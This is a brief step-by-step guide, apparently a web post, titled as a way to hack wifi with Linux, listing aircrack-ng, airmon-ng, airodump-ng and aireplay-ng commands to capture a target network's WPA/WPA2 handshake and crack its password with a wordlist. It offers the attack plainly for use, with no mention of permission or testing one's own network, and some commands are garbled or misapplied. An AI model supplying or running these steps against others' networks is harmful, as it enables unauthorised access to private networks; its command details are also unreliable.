Hack wifi using linux

1. install linux (I prefer Kali Linux)
2. open terminal
3. type "sudo apt-get install aircrack-ng"
4. type "airmon-ng start wlan0"
where ('wlan0' is the wireless interface)
5. type "airodump-ng mon0"
where (‘mon0′ is the monitored interface)
6. type "airodump-ng -c channel -w filename –bssid macaddrs mon0"
where (‘channel’ is the Network’s channel number) (‘filename’ is the name of the file that airodump-ng will save its data) (‘macaddrs’ is the Network’s MAC Address)
7. type "aireplay-ng -1 0 -a bssid mon0"
(where ‘bssid’ is the Network‘s MAC Address)
8. type "aircrack-ng -w dictionary /username/filename"
(‘dictionary’ is the name/path of your dictionary) (‘username’ is your username – on Kali Linux is ‘root’ by default) (‘filename’ is the captured WPA/WPA2 Handshake)